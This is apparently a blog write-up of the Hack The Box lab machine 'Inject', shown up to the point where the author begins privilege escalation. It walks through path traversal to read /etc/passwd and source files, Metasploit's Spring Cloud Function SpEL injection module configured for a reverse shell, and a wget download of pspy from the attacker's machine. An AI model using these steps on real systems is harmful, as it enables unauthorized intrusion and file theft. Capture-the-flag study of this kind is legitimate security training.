HTB打靶记录-Inject

准备工作

  • 开机

    得到靶机的 IP 地址 10.10.11.204

信息打点

  • 收集当前靶机的初级信息—使用 namp nmap -sTVC 10.10.11.204
ORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

得到以上信息,正常情况来看,我们测试的目标顺序应该是 8080--->22
既然有 8080 端口,先访问看看

可以看到很正常一个网站,有注册登录,但是最吸引人的还有右上角的上传,打开看看怎么个事

  • 随便上传一个 php 文件给了个提示

    看起来是有过滤,那我们上传一个 image 文件试试

    上传成功了,给了个链接,按下 F12 看看怎么个事

    看起来像,文件包含?那这不就来劲了啊

漏洞利用

tets.png 换为 /etc/passwd 试试

啊偶,怎么会不对啊,等等,现在我是在网站目录,而这个并不在当前网站的目录下面,尝试加 ../
终于,加到第六个的时候,界面变了

问:数据在哪?
答:F12 啊

这该怎么办呢,不要慌,掏出大宝贝 burp

还是那句话,道高一尺魔高一丈,总有办法,这不就出来了,找找记录下重要数据

root:x:0:0:root:/root:/bin/bash
frank:x:1000:1000:frank:/home/frank:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash

暂时得到这三个有用的账户,接下来读取 shadow 文件试试

没得数据,那就看看 etc 目录下都是神马东东

这样啊,那试试另一个

好!放弃这条路,那就别怪我随便翻你的文件了

在我读到 ../../../../../../var/www/WebApp/ 这个文件夹的时候,我看到了 pom.xml 文件,作为资深(xiaobai)Java CV 工程师,我知道这个配置文件,拿出来

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>
	<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.6.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>
	<groupId>com.example</groupId>
	<artifactId>WebApp</artifactId>
	<version>0.0.1-SNAPSHOT</version>
	<name>WebApp</name>
	<description>Demo project for Spring Boot</description>
	<properties>
		<java.version>11</java.version>
	</properties>
	<dependencies>
		<dependency>
  			<groupId>com.sun.activation</groupId>
  			<artifactId>javax.activation</artifactId>
  			<version>1.2.0</version>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-thymeleaf</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-web</artifactId>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-devtools</artifactId>
			<scope>runtime</scope>
			<optional>true</optional>
		</dependency>

		<dependency>
			<groupId>org.springframework.cloud</groupId>
			<artifactId>spring-cloud-function-web</artifactId>
			<version>3.2.2</version>
		</dependency>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-test</artifactId>
			<scope>test</scope>
		</dependency>
		<dependency>
			<groupId>org.webjars</groupId>
			<artifactId>bootstrap</artifactId>
			<version>5.1.3</version>
		</dependency>
		<dependency>
			<groupId>org.webjars</groupId>
			<artifactId>webjars-locator-core</artifactId>
		</dependency>

	</dependencies>
	<build>
		<plugins>
			<plugin>
				<groupId>org.springframework.boot</groupId>
				<artifactId>spring-boot-maven-plugin</artifactId>
				<version>${parent.version}</version>
			</plugin>
		</plugins>
		<finalName>spring-webapp</finalName>
	</build>

</project>

那么问题来了,拿到这个有什么用呢,OWASP TOP10 教导我们,引用不安全的第三方组件也是个漏洞成因,那就去识别把
仔细看这个文件你会发现一件事,只有 spring-cloud-function-web 这东西带版本号,那你猜猜为啥,什么?猜不到?那就去问百度啊

咱就是说,百度还是好用吧,既然知道哪里有漏洞,那就掏出我们的二宝贝 MSFConsole
搜索试试
search spring cloud

看看,出来了吧,既然编号为 CVE2022 直接排除前两个,现在就剩两个了那就试试第二个 use exploit/multi/http/spring_cloud_function_spel_injection
看看需要我们做什么 show options

看起来依旧是设置目的 IP,目的 port,攻击 IP,攻击端口,那就设置吧

set rhost 10.10.11.204
set rport 8080
set lhost 10.10.xx.xx # HTBVPN中你的地址
set lport 4444 # 反弹shell的地址

然后,直接 run 等结果

啧啧啧,I get it

解题

拿到了 shell,看看 id getuid

熟悉不,对我们上面收集出来了,切换到本机的 shell 看看有没有什么好东西

看起来,啥都没有。

  • 不过在上上级目录,看到了新东西

    但是提示我没权限,看来需要拿到另一个用户的权限?
    看起来直接 sodo 也不太行,那就随便翻翻吧

    看到了一点隐藏文件,看看都有啥,乱翻的人运气还挺好

    得到了 Phil 的密码,那就直接 ssh 链接好了

    啧啧啧还拒绝我是吧,那就只能再想办法

现在来总结一下,我们的出路

  • 直接 sudo,被拒绝
  • ssh 链接,被拒绝
  • 定时任务,还没试,那就试试
    根据前面的靶机经验,查看一下 /etc/crontab

    看起来有用?看看这三个是什么 ls /etc/cron.daily


    看起来行不通,那就看看进程吧 ps 命令

    看起来没有有用的东西,在网上看了看,发现一款工具 pspy 如何利用Pspy监控没有Root权限的Linux进程_黑客技术 (hackdig.com)
    先下载下来,得到一个名为 pspy64 的文件,接下来就是传输给靶机了,我的做法是,在 kali 中启动一个简易的 http 服务器,在靶机中使用 wget 命令下载命令如下
kali:
python3 -m http.server 8892

靶机:
wget http://10.10.11.x:8892/pspy64
chmod +x pspy64
./pspy64

发现了一个奇怪的进程

去看看这个是啥

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值